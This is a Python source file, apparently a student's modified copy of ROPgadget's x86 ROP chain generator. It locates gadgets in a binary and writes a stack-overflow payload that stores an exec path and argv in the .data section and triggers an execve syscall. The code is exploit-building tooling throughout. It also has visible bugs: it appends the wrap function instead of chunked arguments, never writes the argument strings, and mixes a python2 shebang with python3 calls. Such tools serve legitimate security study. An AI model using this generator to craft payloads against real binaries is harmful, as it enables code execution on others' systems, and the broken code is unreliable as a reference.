security-cw/ROPgadget/ropgadget/ropchain/arch/ropmakerx86.py

322 lines
11 KiB
Python
Raw Normal View History

2020-11-25 15:38:46 +00:00
#!/usr/bin/env python2
## -*- coding: utf-8 -*-
##
## Jonathan Salwan - 2014-05-13
##
## http://shell-storm.org
## http://twitter.com/JonathanSalwan
##
import re
from capstone import *
from textwrap import wrap
import sys
import math
from struct import pack
2020-11-25 15:38:46 +00:00
class ROPMakerX86(object):
def __init__(self, binary, gadgets, paddingLen, outFile, execPath, liboffset=0x0):
self.__binary = binary
self.__gadgets = gadgets
self.paddingLen = paddingLen
self.outFile = outFile
self.execPath = execPath
2020-11-25 15:38:46 +00:00
# If it's a library, we have the option to add an offset to the addresses
self.__liboffset = liboffset
self.__generate()
def __lookingForWrite4Where(self, gadgetsAlreadyTested):
for gadget in self.__gadgets:
if gadget in gadgetsAlreadyTested:
continue
f = gadget["gadget"].split(" ; ")[0]
# regex -> mov dword ptr [r32], r32
regex = re.search("mov dword ptr \[(?P<dst>([(eax)|(ebx)|(ecx)|(edx)|(esi)|(edi)]{3}))\], (?P<src>([(eax)|(ebx)|(ecx)|(edx)|(esi)|(edi)]{3}))$", f)
if regex:
lg = gadget["gadget"].split(" ; ")[1:]
try:
for g in lg:
if g.split()[0] != "pop" and g.split()[0] != "ret":
raise
# we need this to filterout 'ret' instructions with an offset like 'ret 0x6', because they ruin the stack pointer
if g != "ret":
if g.split()[0] == "ret" and g.split()[1] != "":
raise
print("# [+] Gadget found: 0x%x %s" %(gadget["vaddr"], gadget["gadget"]))
2020-11-25 15:38:46 +00:00
return [gadget, regex.group("dst"), regex.group("src")]
except:
continue
return None
def __lookingForSomeThing(self, something):
for gadget in self.__gadgets:
lg = gadget["gadget"].split(" ; ")
if lg[0] == something:
try:
for g in lg[1:]:
if g.split()[0] != "pop" and g.split()[0] != "ret":
raise
# we need this to filterout 'ret' instructions with an offset like 'ret 0x6', because they ruin the stack pointer
if g != "ret":
if g.split()[0] == "ret" and g.split()[1] != "":
raise
print("# [+] Gadget found: 0x%x %s" %(gadget["vaddr"], gadget["gadget"]))
2020-11-25 15:38:46 +00:00
return gadget
except:
continue
return None
def __padding(self, gadget, regAlreadSetted):
p = b""
2020-11-25 15:38:46 +00:00
lg = gadget["gadget"].split(" ; ")
for g in lg[1:]:
if g.split()[0] == "pop":
reg = g.split()[1]
try:
p = pack("<I", regAlreadSetted[reg])
2020-11-25 15:38:46 +00:00
except KeyError:
p = pack("<I", 0x41414141)
return p
2020-11-25 15:38:46 +00:00
def __write4bytes(self, address, data, data_addr, popDst, popSrc, write4where):
p = pack("<I", popDst['vaddr'])
p += pack("<I", address)
p += self.__padding(popDst, {})
p += pack("<I", popSrc['vaddr'])
p += data
p += self.__padding(popSrc, {popDst["gadget"].split()[1]: data_addr}) # Don't overwrite reg dst
p += pack("<I", write4where['vaddr'])
p += self.__padding(write4where, {})
return p
def __write4nulls(self, address, popDst, xorSrc, write4where):
p = pack("<I", popDst['vaddr'])
p += pack("<I", address)
p += self.__padding(popDst, {})
p += pack("<I", xorSrc["vaddr"])
p += self.__padding(xorSrc, {})
p += pack("<I", write4where["vaddr"])
p += self.__padding(write4where, {})
return p
2020-11-25 15:38:46 +00:00
def __buildRopChain(self, write4where, popDst, popSrc, xorSrc, xorEax, incEax, popEbx, popEcx, popEdx, syscall):
sects = self.__binary.getDataSections()
dataAddr = None
for s in sects:
if s["name"] == ".data":
dataAddr = s["vaddr"] + self.__liboffset
if dataAddr == None:
print("\n# [-] Error - Can't find a writable section")
2020-11-25 15:38:46 +00:00
return
# prepend padding
p = bytes('A' * self.paddingLen, "ascii")
command = self.execPath
# split command into chunks of 4, prepend with /s as necessary
if len(command) % 4 > 0:
command = padding_len(len(command)) * "/" + command
command_chunks = wrap(command, 4)
2020-11-28 15:31:36 +00:00
## EXEC (ARG0) \0 ARG1 \0 ARG2 \0 ... \0 PTR->EXEC PTR->ARG1 PTR->ARG2 ... \0 ##
args = ["test", "test1", "long string example"]
chunked_args = []
for arg in args:
if len(arg) % 4 > 0:
arg = arg + padding_len(len(arg)) * "!"
chunked_args.append(wrap)
2020-11-28 15:31:36 +00:00
# & ( "cat" \0 )
exec_addr = dataAddr
# setup argv array
# [ & "--run" \0 , & "--verbose" \0 ]
# note that the null bytes may be written "earlier", when the string is not len % 4 == 0
arg_addr = []
2020-11-28 15:31:36 +00:00
acc_addr = exec_addr + len(command) + 4
for i, arg in enumerate(args):
arg_addr.append(acc_addr)
acc_addr += len(arg) + padding_len(len(arg)) + 4
2020-11-28 15:31:36 +00:00
# & ( [ ptr -> "cat" ] ++ arg_addr )
argv_addr = acc_addr
env_addr = argv_addr + (len(args) * 4) + 4
del acc_addr
###################
# WRITE EXEC PATH #
###################
# write the command
for i, chunk in enumerate(command_chunks):
2020-11-28 15:31:36 +00:00
address = exec_addr + (i * 4)
# write 4 char chunk of the command
p += self.__write4bytes(
address,
bytes(chunk, "ascii"),
dataAddr, popDst, popSrc, write4where
)
2020-11-28 15:31:36 +00:00
# write null byte after exec path string
p += self.__write4nulls(
exec_addr + len(command),
popDst, xorSrc, write4where
)
2020-11-25 15:38:46 +00:00
2020-11-28 15:31:36 +00:00
##########################
# Write Argument Strings #
##########################
2020-11-28 15:31:36 +00:00
####################
# Write Argv Array #
####################
# write argv[0] = exec_addr
p += self.__write4bytes(
argv_addr,
pack('<I', exec_addr),
dataAddr, popDst, popSrc, write4where
)
# write null byte after argv array
p += self.__write4nulls(
argv_addr + (len(args) * 4) + 4,
popDst, xorSrc, write4where
)
2020-11-25 15:38:46 +00:00
2020-11-28 15:31:36 +00:00
##################################
# Setup execve Args in Registers #
##################################
2020-11-28 15:31:36 +00:00
# ebx = exec_path
p += pack("<I", popEbx["vaddr"])
p += pack("<I", exec_addr) # @ .data
p += self.__padding(popEbx, {})
2020-11-25 15:38:46 +00:00
2020-11-28 15:31:36 +00:00
# ecx = ptr_to_argv
p += pack('<I', popEcx["vaddr"])
2020-11-28 15:31:36 +00:00
p += pack('<I', argv_addr)
p += self.__padding(popEcx, {"ebx": dataAddr}) # Don't overwrite ebx
2020-11-25 15:38:46 +00:00
2020-11-28 15:31:36 +00:00
# edx = _ (empty for env vars)
p += pack('<I', popEdx["vaddr"])
2020-11-28 15:31:36 +00:00
p += pack('<I', env_addr)
p += self.__padding(popEdx, {"ebx": dataAddr, "ecx": address}) # Don't overwrite ebx and ecx
2020-11-25 15:38:46 +00:00
2020-11-28 15:31:36 +00:00
# eax = 0
p += pack('<I', xorEax["vaddr"])
p += self.__padding(xorEax, {"ebx": dataAddr, "ecx": address}) # Don't overwrite ebx and ecx
2020-11-25 15:38:46 +00:00
2020-11-28 15:31:36 +00:00
# eax ++-> 11
2020-11-25 15:38:46 +00:00
for i in range(11):
p += pack('<I', incEax["vaddr"])
p += self.__padding(incEax, {"ebx": dataAddr, "ecx": address}) # Don't overwrite ebx and ecx
p += pack('<I', syscall["vaddr"])
2020-11-25 15:38:46 +00:00
with open(self.outFile, "wb") as f:
f.write(p)
2020-11-25 15:38:46 +00:00
def __generate(self):
# To find the smaller gadget
self.__gadgets.reverse()
print("\n# ROP chain generation\n# ===========================================================")
2020-11-25 15:38:46 +00:00
print("\n# - Step 1 -- Write-what-where gadgets\n")
2020-11-25 15:38:46 +00:00
gadgetsAlreadyTested = []
while True:
write4where = self.__lookingForWrite4Where(gadgetsAlreadyTested)
if not write4where:
print("# [-] Can't find the 'mov dword ptr [r32], r32' gadget")
2020-11-25 15:38:46 +00:00
return
popDst = self.__lookingForSomeThing("pop %s" %(write4where[1]))
if not popDst:
print("# [-] Can't find the 'pop %s' gadget. Try with another 'mov [reg], reg'\n" %(write4where[1]))
2020-11-25 15:38:46 +00:00
gadgetsAlreadyTested += [write4where[0]]
continue
popSrc = self.__lookingForSomeThing("pop %s" %(write4where[2]))
if not popSrc:
print("# [-] Can't find the 'pop %s' gadget. Try with another 'mov [reg], reg'\n" %(write4where[2]))
2020-11-25 15:38:46 +00:00
gadgetsAlreadyTested += [write4where[0]]
continue
xorSrc = self.__lookingForSomeThing("xor %s, %s" %(write4where[2], write4where[2]))
if not xorSrc:
print("# [-] Can't find the 'xor %s, %s' gadget. Try with another 'mov [r], r'\n" %(write4where[2], write4where[2]))
2020-11-25 15:38:46 +00:00
gadgetsAlreadyTested += [write4where[0]]
continue
else:
break
print("\n# - Step 2 -- Init syscall number gadgets\n")
2020-11-25 15:38:46 +00:00
xorEax = self.__lookingForSomeThing("xor eax, eax")
if not xorEax:
print("# [-] Can't find the 'xor eax, eax' instruction")
2020-11-25 15:38:46 +00:00
return
incEax = self.__lookingForSomeThing("inc eax")
if not incEax:
print("# [-] Can't find the 'inc eax' instruction")
2020-11-25 15:38:46 +00:00
return
print("\n# - Step 3 -- Init syscall arguments gadgets\n")
2020-11-25 15:38:46 +00:00
popEbx = self.__lookingForSomeThing("pop ebx")
if not popEbx:
print("# [-] Can't find the 'pop ebx' instruction")
2020-11-25 15:38:46 +00:00
return
popEcx = self.__lookingForSomeThing("pop ecx")
if not popEcx:
print("# [-] Can't find the 'pop ecx' instruction")
2020-11-25 15:38:46 +00:00
return
popEdx = self.__lookingForSomeThing("pop edx")
if not popEdx:
print("# [-] Can't find the 'pop edx' instruction")
2020-11-25 15:38:46 +00:00
return
print("\n# - Step 4 -- Syscall gadget\n")
2020-11-25 15:38:46 +00:00
syscall = self.__lookingForSomeThing("int 0x80")
if not syscall:
print("# [-] Can't find the 'syscall' instruction")
2020-11-25 15:38:46 +00:00
return
print("\n# - Step 5 -- Build the ROP chain\n")
2020-11-25 15:38:46 +00:00
self.__buildRopChain(write4where[0], popDst, popSrc, xorSrc, xorEax, incEax, popEbx, popEcx, popEdx, syscall)
# def round_n(x, n):
# return int(math.ceil(x / n) * n)
def padding_len(x):
return -(x % -4)